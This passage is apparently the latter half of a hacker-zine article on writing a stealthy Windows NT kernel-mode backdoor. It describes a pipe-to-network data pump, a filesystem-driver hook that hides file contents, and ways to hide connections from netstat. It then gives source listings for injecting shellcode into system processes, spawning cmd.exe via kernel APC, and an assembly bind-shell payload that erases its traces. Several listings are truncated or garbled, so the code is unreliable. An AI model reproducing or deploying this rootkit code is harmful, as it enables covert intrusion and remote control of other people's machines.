freeing Session into account: syncronisation is accomplished by disabling
interrupts (it's equivalent of raise IRQL to highest) and by means of 
DriverStudio classes (SpinLock inside). The Thread uses a copy of some 
data that must be available even after instance of Session was deleted.

    Initially, DataPumpThread starts one asynchronous read operation 
(ZwReadFile) from named pipe -- event hPipeEvents[1] notifies about it's
completion. The other event hPipeEvents[0] notifies about data arrival 
from the network. After that ZwWaitForMultipleObjects executed in a loop 
waits for one of these events. In dependence of what event was signaled, 
the thread does a read from the named pipe and sends data to client, or 
does a read read from FIFO and writes to pipe. If the Terminating flag 
is set, thread closes all handles, terminates the cmd.exe process, and 
then terminates itself. Data arrival is signaled by the hPipeEvents[0] 
event in Session::OnReceive and Session::OnReceiveComplete handlers. 
It also used in conjunction with the Terminating flag to notify the thread
about termination.

    Data resceived from the network is buffered in pWBytePipe FIFO. 
DataPumpThread reads data from the FIFO to temporary buffers which are 
allocated for each I/O operation and writes data asynchronously to the
pipe (ZwWriteFile). The buffers are freed asynchronously in the ApcCallback-
WriteComplete handler.

    Data transfers from the pipe to the network are also accomplished through
temporary buffers that are allocated before ZwReadFile and freed in

Paths of data streams and temporary buffers handling algorithm:

NamedPipe -(new send_buf; ZwReadFile)-> temporary buffer

send_buf -(send)-> Network -> OnSendComplete{delete send_buf}

Network -(OnReceive)-> pWBytePipe -(new rcv_buf)-> temporary

buffer rcv_buf -(ZwWriteFile)-> NamedPipe ->
                                ApcCallbackWriteComplete{delete rcv_buf}

    In Session::OnReceive handler data is written to the FIFO and the 
DataPumpThread is notified about it's arrival. If the transport has more
data available than indicated another buffer is allocated to read the
rest. When the transport is done - asynchronously - OnReceiveComplete()
handler is called, which does the same as OnReceive.

----[ 4.3 - Stealth on disk

    I've implemented simple demo module (file Intercept.cpp) which hooks
dispatch functions of a given filesystem diver to hide the first N bytes of
a given file. To hook FSD call e.g. Intercept(L"\\FileSystem\\Fastfat").
There is only 2 FSDs that may be necessary to hook: Fastfat ant Ntfs,
because NT can boot from these filesystems.

    Intercept() replaces some driver dispatch functions
(pDriverObject->MajorFunction[...], pDriverObject->FastIoDispatch->...).

    When hooked driver handles IRPs and FastIo calls the corresponding hook
functions modifies file size and current file offset. Thus all user-mode
programs see file N bytes smaller than original, containing bytes N to
last. It allows to implement trick described in part 3.

--[ 5 - Conclusion

    In this article I compared 3 existing Kernel-Mode backdoors for
Windows NT from a programmers point of view, presented some ideas on making
a backdoor stealthier as well as my thorny path of writing my own Kernel-
Mode backdoor.

    What we did not describe was a method of hiding open sockets and TCP
connections from utilities such as netstat and fport. Netstat uses 
SnmpUtilOidCpy(), and fport talks directly with drivers
(\Device\Udp and \Device\Tcp). To hide something from these and all
similar tools, it's necessary to hook aforementioned drivers with one of
methods mentioned in section "Stealth on disk, in registry and in
memory". I did not explore that issue yet. Probably, its consideration
deserves a separate article. Advice for those who decided to move this
direction: begin with the study of IpLog sources [5].

--[ 6 - Epilogue

    When/if this article will be published in Phrack, the article itself
(probably improved and supplemented), its Russian original, and full code
of all used examples will be published at our site

--[ 7 - List of used sources

2. "LKM-attack on WinNT/Win2k"
3. "Windows Root Kits a Stealthy Threat"
4. Garry Nebbet. Windows NT/2000 native API reference.
5. "IP logger for WinNT/Win2k"

--[ 8 - Files

----[ 8.1 - Shell.CPP

#include "ntdll.h"
#include "DynLoadFromNtdll.h"
#include "NtdllDynamicLoader.h"

#if (DBG)
#define dbgbkpt __asm int 3
#define dbgbkpt

const StackReserve=0x00100000;
const StackCommit= 0x00001000;
extern BOOLEAN Terminating;

extern "C" char shellcode[];
extern "C" const CLID_addr;
extern "C" int const sizeof_shellcode;

namespace NT {
typedef struct _SYSTEM_PROCESSES_NT4 { // Information Class 5
    ULONG NextEntryDelta;
    ULONG ThreadCount;
    ULONG Reserved1[6];
    LARGE_INTEGER CreateTime;
    LARGE_INTEGER KernelTime;
    UNICODE_STRING ProcessName;
    KPRIORITY BasePriority;
    ULONG ProcessId;
    ULONG InheritedFromProcessId;
    ULONG HandleCount;
    ULONG Reserved2[2];
    VM_COUNTERS VmCounters;
    SYSTEM_THREADS Threads[1];

BOOL FindProcess(PCWSTR process, OUT NT::PCLIENT_ID ClientId)
        NT::UNICODE_STRING ProcessName;
        ULONG n=0xFFFF;
        PULONG q =
    while (NT::ZwQuerySystemInformation(
        NT::SystemProcessesAndThreadsInformation, q, n * sizeof *q, 0))
                q = (PULONG)NT::ExAllocatePool

        ULONG MajorVersion;
        NT::PsGetVersion(&MajorVersion, NULL, NULL, NULL);

    BOOL found=0;
        char** pp=(char**)&p;
                if ((p->ProcessName.Buffer)&&(!NT::RtlCompareUnicodeString
                        if (MajorVersion<=4)
                                *ClientId = ((NT::PSYSTEM_PROCESSES_NT4)p)->Threads[0].ClientId;
                                else *ClientId = p->Threads[0].ClientId;
                if (!(p->NextEntryDelta)) break;
        } while(1);
    return found;

VOID StartShell()
        //Search ntdll.dll in memory
        PVOID pNTDLL=FindNT();        
        //Dynamicaly link to functions not exported by ntoskrnl,
        //but exported by ntdll.dll
        HANDLE  hProcess=0,hThread;
        //Debug breakpoint
        NT::CLIENT_ID clid;
        //Code must be embedded into thread, which not in nonalertable wait state.
        //Such thread is in process services.exe, let's find it
        if(!FindProcess(L"services.exe"/*L"calc.exe"*/,&clid)) {dbgbkpt;
        //Open process - get it's descriptor
        NT::ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &attr, &clid);
        if (!hProcess) {dbgbkpt;
        NT::ZwQueryInformationProcess(hProcess, NT::ProcessBasicInformation, &pi, sizeof(pi), NULL);*/
        ULONG n = sizeof_shellcode;
        PVOID p = 0;
        PVOID EntryPoint;

        //Create code segment - allocate memory into process context
        NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
                                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (!p) {dbgbkpt;

        //Write process and thread ID into shellcode, it will be needed for
        //further operations with that thread
        //Write shellcode to allocated memory
        ZwWriteVirtualMemory(hProcess, p, shellcode, sizeof_shellcode, 0);
        //Entry point is at the beginning of shellcode
        EntryPoint = p;

        //Create stack segment
    NT::USER_STACK stack = {0};
    n = StackReserve;
    NT::ZwAllocateVirtualMemory(hProcess, &stack.ExpandableStackBottom, 0, &n,
                                MEM_RESERVE, PAGE_READWRITE);
        if (!stack.ExpandableStackBottom) {dbgbkpt;
    stack.ExpandableStackBase = PCHAR(stack.ExpandableStackBottom)
                              + StackReserve;
    stack.ExpandableStackLimit = PCHAR(stack.ExpandableStackBase)
                               - StackCommit;
    n = StackCommit + PAGE_SIZE;
    p = PCHAR(stack.ExpandableStackBase) - n;
        //Create guard page
        NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
                                MEM_COMMIT, PAGE_READWRITE);
    ULONG x; n = PAGE_SIZE;
    ZwProtectVirtualMemory(hProcess, &p, &n,
                               PAGE_READWRITE | PAGE_GUARD, &x);
        //Initialize new thread context
        //similar to it's initialization by system
    NT::CONTEXT context = {CONTEXT_FULL};
    context.SegGs = 0;
    context.SegFs = 0x38;
    context.SegEs = 0x20;
    context.SegDs = 0x20;
    context.SegSs = 0x20;
    context.SegCs = 0x18;
    context.EFlags = 0x3000;
    context.Esp = ULONG(stack.ExpandableStackBase) - 4;
    context.Eip = ULONG(EntryPoint);
        NT::CLIENT_ID cid;

        //Create and start thread
    ZwCreateThread(&hThread, THREAD_ALL_ACCESS, &attr,
                       hProcess, &cid, &context, &stack, TRUE);

        //Here i tried to make thread alertable. The try failed.
        /*HANDLE hTargetThread;
        NT::ZwOpenThread(&hTargetThread, THREAD_ALL_ACCESS, &attr, &clid);
        PVOID ThreadObj;
        NT::ObReferenceObjectByHandle(hTargetThread, THREAD_ALL_ACCESS, NULL, NT::KernelMode, &ThreadObj, NULL);
        *((unsigned char *)ThreadObj+0x4a)=1;*/

    ZwResumeThread(hThread, 0);

VOID ShellStarter(VOID* StartShellEvent)
        do if (NT::KeWaitForSingleObject(StartShellEvent,NT::Executive,NT::KernelMode,FALSE,NULL)==STATUS_SUCCESS)
                if (Terminating) NT::PsTerminateSystemThread(0); else StartShell();
        while (1);

----[ 8.2 - ShellAPC.cpp

#include <stdio.h>
#include "ntdll.h"
#include "DynLoadFromNtdll.h"
#include "NtdllDynamicLoader.h"
#include "NebbetCreateProcess.h"

//Debug macro
#if (DBG)
#define dbgbkpt __asm int 3
#define dbgbkpt

//Flag guarantees that thread certainly will execute APC regardless of
//it's state

namespace NT
        extern "C"
// Definitions for Windows NT-supplied APC routines.
// These are exported in the import libraries,
// but are not in NTDDK.H
                void KeInitializeApc(PKAPC Apc,
                        PKTHREAD Thread,
                        CCHAR ApcStateIndex,
                        PKKERNEL_ROUTINE KernelRoutine,
                        PKRUNDOWN_ROUTINE RundownRoutine,
                        PKNORMAL_ROUTINE NormalRoutine,
                        KPROCESSOR_MODE ApcMode,
                        PVOID NormalContext);
                void KeInsertQueueApc(PKAPC Apc,
                        PVOID SystemArgument1,
                        PVOID SystemArgument2,
                        UCHAR unknown);

//Variant of structure SYSTEM_PROCESSES for NT4
namespace NT {
typedef struct _SYSTEM_PROCESSES_NT4 { // Information Class 5
    ULONG NextEntryDelta;
    ULONG ThreadCount;
    ULONG Reserved1[6];
    LARGE_INTEGER CreateTime;
    LARGE_INTEGER KernelTime;
    UNICODE_STRING ProcessName;
    KPRIORITY BasePriority;
    ULONG ProcessId;
    ULONG InheritedFromProcessId;
    ULONG HandleCount;
    ULONG Reserved2[2];
    VM_COUNTERS VmCounters;
    SYSTEM_THREADS Threads[1];

//Function searches process with given name.
//Writes PID and TID of first thread to ClientId
BOOL FindProcess(PCWSTR process, OUT NT::PCLIENT_ID ClientId)
        NT::UNICODE_STRING ProcessName;
        ULONG n=0xFFFF;
        //Allocate some memory
        PULONG q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q));
        //Request information about processes and threads
        //until it will fit in allocated memory.
    while (NT::ZwQuerySystemInformation(NT::SystemProcessesAndThreadsInformation,
           q, n * sizeof *q, 0))
                //If it didn't fit - free allocated memory...
                //... and allocate twice bigger
                q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q));

        ULONG MajorVersion;
        //Request OS version
        NT::PsGetVersion(&MajorVersion, NULL, NULL, NULL);

        //Copy pointer to SYSTEM_PROCESSES.
        //copy will be modified indirectly
        //"process NOT found" - yet
    BOOL found=0;        
        //Pointer to p will be used to indirect modify p.
        //This trick is needed to force compiler to perform arithmetic operations with p
        //in bytes, not in sizeof SYSTEM_PROCESSES units
        char** pp=(char**)&p;
        //Process search cycle
                //If process have nonzero number of threads (0 threads is abnormal, but possible),
                //has name, that matches looked for...
                if ((p->ThreadCount)&&(p->ProcessName.Buffer)&&(!NT::RtlCompareUnicodeString(&p->ProcessName,&ProcessName,TRUE)))
                        //... then copy data about it to variable pointed by ClientId.
                        //Accounted for different sizeof SYSTEM_PROCESSES in different versions of NT
                        if (MajorVersion<=4)
                                *ClientId = ((NT::PSYSTEM_PROCESSES_NT4)p)->Threads[0].ClientId;
                                else *ClientId = p->Threads[0].ClientId;
                        //Set flag "process found"
                        //Stop search
                //No more processes - stop
                if (!(p->NextEntryDelta)) break;
                //Move to next process
        } while(1);
        //Free memory
        //Return "is the process found" flag
    return found;

//Generates named pipe name similar to used by API-function CreatePipe
void MakePipeName(NT::PUNICODE_STRING KernelPipeName)
        //For generation of unrepeating numbers
        static unsigned long        PipeIdx;
        //pseudorandom number
        ULONG                                        rnd;                
        //name template
        wchar_t                                        *KPNS = L"\\Device\\NamedPipe\\Win32Pipes.%08x.%08x";
        //...and it's length in bytes
        ULONG                                        KPNL = wcslen(KPNS)+(8-4)*2+1;
        //String buffer: allocated here, freed by caller
        wchar_t                                        *buf;
        //Request system timer: KeQueryInterruptTime is here not for exact
        //counting out time, but for generation of pseudorandom numbers
        rnd = (ULONG)NT::KeQueryInterruptTime();
        //Allocate memory for string
        buf = (wchar_t *)NT::ExAllocatePool(NT::NonPagedPool,(KPNL)*2);
        //Generate name: substitute numbers o template
        _snwprintf(buf, KPNL, KPNS, PipeIdx++, rnd);
        //Write buffer address and string length to KernelPipeName (initialisation)
        NT::RtlInitUnicodeString(KernelPipeName, buf);

extern "C" NTSTATUS myCreatePipe1(PHANDLE phPipe, NT::PUNICODE_STRING PipeName, IN ACCESS_MASK DesiredAccess, PSECURITY_DESCRIPTOR sd, ULONG ShareAccess);
extern NTSTATUS BuildAlowingSD(PVOID *sd);

        NT::UNICODE_STRING        KernelPipeName;
        ULONG ChildPID;

//APC handler, runs in context of given thread
void KMApcCallback1(NT::PKAPC Apc, NT::PKNORMAL_ROUTINE NormalRoutine,
                    PVOID NormalContext, PVOID SystemArgument1,
                    PVOID SystemArgument2)
        //Start process with redirected I/O, SystemArgument1 is named pipe name
        (*(APC_PARAMETERS**)SystemArgument1)->ChildPID=execute_piped(L"\\SystemRoot\\System32\\cmd.exe", &((*(APC_PARAMETERS**)SystemArgument1)->KernelPipeName));
        //Free memory occupied by APC
        //Signal about APC processing completion
        NT::KeSetEvent(*(NT::KEVENT**)SystemArgument2, 0, TRUE);

//Function starts shell process (cmd.exe) with redirected I/O.
//Returns bidirectional named pipe handle in phPipe
extern "C" ULONG StartShell(PHANDLE phPipe)
        //_asm int 3;
        HANDLE  hProcess=0, hThread;
        APC_PARAMETERS ApcParameters;
        //Event of APC processing completion
        NT::KEVENT ApcCompletionEvent;
        NT::CLIENT_ID clid;
        //Look for process to launch shell from it's context.
        //That process must be always present in system
        if(!FindProcess(/*L"services.exe"*/L"calc.exe",&clid)) {dbgbkpt;
                return FALSE;};
        //Get process handle from it's PID
        NT::ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &attr, &clid);
        if (!hProcess) {dbgbkpt;
                return FALSE;};
        //Get thread handle from it's TID
        NT::ZwOpenThread(&hThread, THREAD_ALL_ACCESS, &attr, &clid);
        NT::PKTHREAD ThreadObj;
        //Get pointer to thread object from it's handle
        NT::ObReferenceObjectByHandle(hThread, THREAD_ALL_ACCESS, NULL, NT::KernelMode, (PVOID*)&ThreadObj, NULL);
        NT::PKAPC Apc;

        //Allocate memory for APC
        Apc = (NT::KAPC*)NT::ExAllocatePool(NT::NonPagedPool, sizeof(NT::KAPC));
        //Initialize APC
     (NT::PKKERNEL_ROUTINE)&KMApcCallback1,     // kernel mode routine
     0, // rundown routine
     0,     // user-mode routine
         0 //context
        //Initialize APC processing completion event
        //Generate random unique named pipe name
        MakePipeName(&ApcParameters.KernelPipeName/*, &UserPipeName*/);
        PVOID sd;
        //Access will be read-only without it.
        //There's a weak place in the view of security.
        if (BuildAlowingSD(&sd)) return FALSE;
        if (myCreatePipe1(phPipe, &ApcParameters.KernelPipeName, GENERIC_READ | GENERIC_WRITE, sd, FILE_SHARE_READ | FILE_SHARE_WRITE)) return FALSE;
        NT::KeInsertQueueApc(Apc, &ApcParameters, &ApcCompletionEvent, 0);
        return ApcParameters.ChildPID;

----[ 8.3 - dummy4.asm

;Exported symbols - reference points for automated tool
;which generates C code of hex-encoded string
PUBLIC                Start
PUBLIC                EndFile
PUBLIC                CLID_here
;Debug flag - int 3 in the code
DEBUG                EQU        1
;Falg "accept more then 1 connection"
MULTIPLE_CONNECT        EQU        1
;Falg "bind to next port, if current port busy"
RETRY_BIND        EQU        1

.486                  ; processor type
.model flat, stdcall  ; model of memory
option casemap: none  ; disable case sensivity

; includes for file
include WSOCK2.INC

; structure initializing
 OrgEsp            dd ?
 SaveEip           dd ?

 UniqueProcess                dd ?
 UniqueThread                dd ?

 Length                dd ?
 RootDirectory        dd ?
 ObjectName        dd ?
 Attributes        dd ?
 SecurityDescriptor        dd ?
 SecurityQualityOfService        dd ?

;Macro replaces lea, correcting address for position independency
laa        MACRO        reg, operand
lea        reg, operand
add        reg, FixupDelta

;The same, but not uses FixupDelta (autonomous)
laaa        MACRO        reg, operand
local        @@delta
call         $+5
sub          DWORD PTR [esp], OFFSET @@delta
lea        reg, operand
add        reg, DWORD PTR [esp]
add        esp,4

main proc
int        3

;Code for evaluating self address
pop          ebx
sub        ebx,OFFSET delta
;Allocate place for variables in stack
enter        SizeOfLocals,0
;Save difference between load address and ImageBase
mov        FixupDelta,ebx

;Tables, where to write addresses of exported functions
KERNEL32FunctionsTable                EQU        _CreateThread
NTDLLFunctionsTable                EQU        _ZwOpenThread
WS2_32FunctionsTable                EQU        _WSASocket

;Local variables
local flag:DWORD,save_eip:DWORD,_CreateThread:DWORD,_GetThreadContext:DWORD,_SetThreadContext:DWORD,_ExitThread:DWORD,_LoadLibrary:DWORD,_CreateProcessA:DWORD,_Sleep:DWORD,_VirtualFree:DWORD,_ZwOpenThread:DWORD,_ZwAlertThread:DWORD,cxt:CONTEXT,clid:CLIENT_ID,hThread:DWORD,attr:OBJECT_ATTRIBUTES,addr:sockaddr_in,sizeofaddr:DWORD,sock:DWORD,sock2:DWORD,StartInf:STARTUPINFO,ProcInf:PROCESS_INFORMATION,_WSASocket:DWORD,_bind:DWORD,_listen:DWORD,_accept:DWORD,_WSAStartup:DWORD,_closesocket:DWORD,_WSACleanup:DWORD,wsadat:WSAdata,FixupDelta:DWORD =SizeOfLocals
 assume fs : nothing
 ;---- get ImageBase of kernel32.dll ----
lea        ebx,KERNEL32FunctionsTable
push        ebx
laa        ebx,KERNEL32StringTable
push        ebx
 push        0FFFF0000h
 call GetDllBaseAndLoadFunctions

lea        ebx,NTDLLFunctionsTable
push        ebx
laa        ebx,NTDLLStringTable
push        ebx
 push        0FFFF0000h
 call GetDllBaseAndLoadFunctions

laa edi, CLID_here
push edi
assume edi:ptr OBJECT_ATTRIBUTES
lea edi,attr
xor        eax,eax
rep stosb
lea edi,attr
push edi
lea edi,hThread
push        edi
int        3
call _ZwOpenThread

lea edi, cxt
assume edi:ptr CONTEXT
mov [edi].cx_ContextFlags,CONTEXT_FULL

xor        ebx,ebx
mov eax,hThread
;there is a thread handle in EAX
;push at once for call many following functions
push edi        ; _SetThreadContext
push eax
push eax        ; _ZwAlertThread
push edi        ; _SetThreadContext
push eax
push edi        ; _GetThreadContext
push eax
call _GetThreadContext

mov        eax,[edi].cx_Eip
mov        save_eip,eax        
laa         eax, new_thread
mov         [edi].cx_Eip, eax

;Self-modify code
;Save EBP to copy current stack in each new thread
laa         eax, ebp_value_here
mov         [eax],ebp
laa         eax, ebp1_value_here
mov         [eax],ebp
;Write addres of flag, that informs of "create main thread" completion
laa         eax, flag_addr_here
lea        ebx,flag
mov        [eax],ebx
mov        flag,0

call _SetThreadContext
;If thread in wait state, it will not run until it (wait) ends or alerted
call _ZwAlertThread        
;not works if wait is nonalertable

;Wait for main thread creation
call        _Sleep,10
cmp        flag,1
jnz        check_flag

;Restore EIP of interupted thread
mov         eax, save_eip
mov         [edi].cx_Eip, eax
call _SetThreadContext

push        0
call _ExitThread

; --- This code executes in interrupted thread and creates main thread ---
int 3
mov        ebp,0
ORG ebp1_value_here_2+1
ORG lab_posle_ebp1_value-main
xor           eax,eax
push          eax
push          eax
push          eax
laa          ebx, remote_shell
push          ebx
push          eax
push          eax
call _CreateThread
;call        _Sleep,INFINITE
jmp        $

int 3
mov        esi,0
ORG ebp_value_here_2+1
ORG lab_posle_ebp_value-main
mov         ecx,SizeOfLocals
sub        esi,ecx
mov        edi,esp
sub        edi,ecx
rep movsb
mov        ebp,esp
sub        esp,SizeOfLocals

mov        eax,0
ORG flag_addr_here_2+1
ORG lab_posle_flag_addr-main
mov        DWORD PTR [eax],1

;Load WinSock
laa        eax,szWSOCK32
call _LoadLibrary,eax
or   eax, eax
jz   quit
 ;---- get ImageBase of ws2_32.dll ----
;I'm deviator: load at first, then as if seek :)
lea        ebx,WS2_32FunctionsTable
push        ebx
laa        ebx,WS2_32StringTable
push        ebx
push        eax
call GetDllBaseAndLoadFunctions

;--- telnet server
lea        eax,wsadat
push        eax
push        0101h
call        _WSAStartup

xor        ebx,ebx
;socket does not suit here!
call        _WSASocket,AF_INET,SOCK_STREAM,IPPROTO_TCP,ebx,ebx,ebx
mov        sock,eax

mov        addr.sin_family,AF_INET
mov        addr.sin_port,0088h
mov        addr.sin_addr,INADDR_ANY

;Look for unused port from 34816 and bind to it
lea        ebx,addr
call        _bind,sock,ebx,SIZE sockaddr_in
or           eax, eax
jz           l_listen
lea        edx,addr.sin_port+1
inc        byte ptr[edx]
cmp        byte ptr[edx],0
;All ports busy...
jz        quit        
jmp        retry_bind

call        _listen,sock,1
or           eax, eax
jnz           quit


mov        sizeofaddr,SIZE sockaddr_in
lea        eax,sizeofaddr
push        eax
lea        eax, addr
push        eax
push        sock
call        _accept
mov         sock2, eax


;int        3

;Zero StartInf
lea        edi,StartInf
xor        eax,eax
mov        ecx,SIZE STARTUPINFO
rep        stosb
;Fill StartInf. Shell will be bound to socket
mov        eax, sock2
mov        StartInf.hStdOutput,eax
mov        StartInf.hStdError,eax
mov        StartInf.hStdInput,eax
mov        StartInf.cb,SIZE STARTUPINFO

;Start shell
xor        ebx,ebx
lea        eax,ProcInf
push        eax
lea        eax,StartInf
push        eax
push        ebx
push        ebx
push        CREATE_NO_WINDOW
push        1
push        ebx
push        ebx
laa        eax,CmdLine
push        eax
push        ebx
call        _CreateProcessA

;To avoid hanging sessions
call         _closesocket,sock2

jmp        ShellCycle

call        _closesocket,sock
call        _WSACleanup
;Sweep traces: free memory with that code and terminate thread
;Code must not free stack because ExitThread address is there
;It may wipe (zero out) stack in future versions
push        MEM_RELEASE
xor        ebx,ebx
push        ebx
push        OFFSET Start
push        ebx
push        _ExitThread
jmp        _VirtualFree
main endp

; ------ ROUTINES ------

; returns NULL in the case of an error
GetDllBaseAndLoadFunctions proc uses edi esi, dwSearchStartAddr:DWORD, FuncNamesTable:DWORD, FuncPtrsTable:DWORD
local SEH:sSEH, FuncNameEnd:DWORD,dwDllBase:DWORD,PEHeader:DWORD
 ; install SEH frame
 laaa        eax, KernelSearchSehHandler
 push        eax
 push fs:dword ptr[0]
 mov  SEH.OrgEsp, esp
 laaa        eax, ExceptCont
 mov  SEH.SaveEip, eax
 mov  fs:dword ptr[0], esp

 ; start the search
 mov  edi, dwSearchStartAddr
 .while TRUE
    .if word ptr [edi] == IMAGE_DOS_SIGNATURE
       mov  esi, edi
       add  esi, [esi+03Ch]
       .if  dword ptr [esi] == IMAGE_NT_SIGNATURE
    sub  edi, 010000h
 mov        dwDllBase,edi
 mov        PEHeader,esi

 ; get the string length of the target Api
 mov  edi, FuncNamesTable
 xor  al, al
 repnz  scasb
 mov        FuncNameEnd,edi
 mov  ecx, edi
 sub  ecx, FuncNamesTable       ; ECX -> Api string length

 ; trace the export table
 mov  edx, [esi+078h]      ; EDX -> Export table
 add  edx, dwDllBase
 mov  ebx, [edx].AddressOfNames     ; EBX -> AddressOfNames array pointer
 add  ebx, dwDllBase
 xor  eax, eax       ; eax AddressOfNames Index
    mov  edi, [ebx]
    add  edi, dwDllBase
    mov  esi, FuncNamesTable
    push ecx    ; save the api string length
    repz cmpsb
    .if zero?
       add  esp, 4
    pop  ecx
    add  ebx, 4
    inc  eax
 .until eax == [edx].NumberOfNames

 ; did we found sth ?
 .if eax == [edx].NumberOfNames
    jmp ExceptContinue

 ; find the corresponding Ordinal
 mov  esi, [edx].AddressOfNameOrdinals
 add  esi, dwDllBase
 shl  eax, 1
 add  eax, esi
 movzx        eax,word ptr [eax]

 ; get the address of the api
 mov  edi, [edx].AddressOfFunctions
 shl  eax, 2
 add  eax, dwDllBase
 add  eax, edi
 mov  eax, [eax]
 add  eax, dwDllBase
 mov        ecx,FuncNameEnd
 mov        FuncNamesTable,ecx
 mov        ebx,FuncPtrsTable
 mov        DWORD PTR [ebx],eax
 mov        esi,PEHeader
 cmp        BYTE PTR [ecx],0
 jnz          LoadFunctions

 ; shutdown seh frame
 pop  fs:dword ptr[0]
 add  esp, 4
 mov         edi, dwDllBase
 jmp ExceptCont
GetDllBaseAndLoadFunctions endp

KernelSearchSehHandler PROC C pExcept:DWORD,pFrame:DWORD,pContext:DWORD,pDispatch:DWORD
 mov  eax, pContext
 assume eax:ptr CONTEXT
 sub  dword ptr [eax].cx_Edi,010000h
 mov  eax, 0        ;ExceptionContinueExecution
KernelSearchSehHandler ENDP

szCreateThread          db "CreateThread",0
szGetThreadContext        db "GetThreadContext",0
szSetThreadContext         db "SetThreadContext",0
szExitThread                db "ExitThread",0
szLoadLibrary           db "LoadLibraryA",0
szCreateProcessA        db "CreateProcessA",0
szSleep                        db "Sleep",0
szVirtualFree                db "VirtualFree",0
db                        0

szWSOCK32                db "WS2_32.DLL",0
szsocket                db "WSASocketA",0
szbind                        db "bind",0
szlisten                db "listen",0
szaccept                db "accept",0
szWSAStartup                db "WSAStartup",0
szclosesocket                db "closesocket",0
szWSACleanup                db "WSACleanup",0
db                        0

szZwOpenThread                db "ZwOpenThread",0
szZwAlertThread                db "ZwAlertThread",0
db                        0

CmdLine                        db        "cmd.exe",0

ALIGN        4
CLID_here                CLIENT_ID <0>



end Start

----[ 8.4 - NebbetCreateProcess.cpp

#include <ntdll.h>
#include "DynLoadFromNtdll.h"
#include "NtdllDynamicLoader.h"
extern "C" {
#include "SECSYS.H"

namespace NT {

typedef struct _CSRSS_MESSAGE{
        ULONG        Unknwon1;
        ULONG        Opcode;
        ULONG        Status;
        ULONG        Unknwon2;



//Dynamic import of functions exported from ntdll.dll
extern "C" void LoadFuncs()
        static PVOID pNTDLL;
        if (!pNTDLL)

//Informs CSRSS about new win32-process
VOID InformCsrss(HANDLE hProcess, HANDLE hThread, ULONG pid, ULONG tid)
//        _asm int 3;
    struct CSRSS_MESSAGE {
        ULONG Unknown1;
        ULONG Opcode;
        ULONG Status;
        ULONG Unknown2;

    struct {
                NT::PORT_MESSAGE PortMessage;
        CSRSS_MESSAGE CsrssMessage;
        PROCESS_INFORMATION ProcessInformation;
        NT::CLIENT_ID Debugger;
        ULONG CreationFlags;
        ULONG VdmInfo[2];
    } csrmsg = {{0}, {0}, {hProcess, hThread, pid, tid}, {0}, 0/*STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW*/, {0}};

    CsrClientCallServer(&csrmsg, 0, 0x10000, 0x24);

//Initialse empty environment
PWSTR InitEnvironment(HANDLE hProcess)
    PVOID p=0;
    DWORD dummy=0;
        DWORD n=sizeof(dummy);
        DWORD m;
        NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &m,
                                MEM_COMMIT, PAGE_READWRITE);
    ZwWriteVirtualMemory(hProcess, p, &dummy, n, 0);
    return PWSTR(p);

// Clone of Ntdll::RtlCreateProcessParameters...
VOID RtlCreateProcessParameters(NT::PPROCESS_PARAMETERS* pp,
                                                                NT::PUNICODE_STRING        ImageFile,
                                                                NT::PUNICODE_STRING        DllPath,
                                                                NT::PUNICODE_STRING        CurrentDirectory,
                                                                NT::PUNICODE_STRING        CommandLine,
                                                                ULONG        CreationFlag,
                                                                NT::PUNICODE_STRING        WindowTitle,
                                                                NT::PUNICODE_STRING        Desktop,
                                                                NT::PUNICODE_STRING        Reserved,
                                                                NT::PUNICODE_STRING        Reserved2){

        NT::PROCESS_PARAMETERS*        lpp;

        ULONG        Size=sizeof(NT::PROCESS_PARAMETERS);
        if(ImageFile) Size+=ImageFile->MaximumLength;
        if(DllPath) Size+=DllPath->MaximumLength;
        if(CurrentDirectory) Size+=CurrentDirectory->MaximumLength;
        if(CommandLine) Size+=CommandLine->MaximumLength;
        if(WindowTitle) Size+=WindowTitle->MaximumLength;
        if(Desktop) Size+=Desktop->MaximumLength;
        if(Reserved) Size+=Reserved->MaximumLength;
        if(Reserved2) Size+=Reserved2->MaximumLength;

        //Allocate the buffer..

        lpp->Size=sizeof(NT::PROCESS_PARAMETERS); // Unicode size will be added (if any)
/*        if(Reserved2){

VOID CreateProcessParameters(HANDLE hProcess, NT::PPEB Peb,
                             NT::PUNICODE_STRING ImageFile, HANDLE hPipe)
        NT::UNICODE_STRING                CurrentDirectory;                                
        NT::UNICODE_STRING                DllPath;                                


    RtlCreateProcessParameters(&pp, ImageFile, &DllPath,&CurrentDirectory, ImageFile, 0, 0, 0, 0, 0);

    pp->Environment = InitEnvironment(hProcess);
    ULONG n = pp->Size;
    PVOID p = 0;
    NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
                                MEM_COMMIT, PAGE_READWRITE);

    ZwWriteVirtualMemory(hProcess, p, pp, pp->Size, 0);

    ZwWriteVirtualMemory(hProcess, PCHAR(Peb) + 0x10, &p, sizeof p, 0);


namespace NT {
extern "C" {
DWORD WINAPI RtlCreateAcl(PACL acl,DWORD size,DWORD rev);

NTSTATUS BuildAlowingSD(PSECURITY_DESCRIPTOR *pSecurityDescriptor)
        //_asm int 3;
        char daclbuf[PAGE_SIZE];
        NT::PACL dacl = (NT::PACL)&daclbuf;
        char sdbuf[PAGE_SIZE];
        NT::PSECURITY_DESCRIPTOR sd = &sdbuf;
        NTSTATUS status = NT::RtlCreateAcl(dacl, PAGE_SIZE, ACL_REVISION);
    if (!NT_SUCCESS(status)) return status;
    status = NT::RtlAddAccessAllowedAce(dacl, ACL_REVISION, FILE_ALL_ACCESS, &SeWorldSid);
    if (!NT_SUCCESS(status)) return status;
    RtlZeroMemory(sd, PAGE_SIZE);
    status = NT::RtlCreateSecurityDescriptor(sd, SECURITY_DESCRIPTOR_REVISION);
    if (!NT_SUCCESS(status)) return status;
    status = RtlSetOwnerSecurityDescriptor(sd, &localSid, FALSE);
    if (!NT_SUCCESS(status)) return status;
    status = NT::RtlSetDaclSecurityDescriptor(sd, TRUE, dacl, FALSE);
    if (!NT_SUCCESS(status)) return status;
    if (!NT::RtlValidSecurityDescriptor(sd)) {
        _asm int 3;
        //To try!
        ULONG buflen = PAGE_SIZE*2;
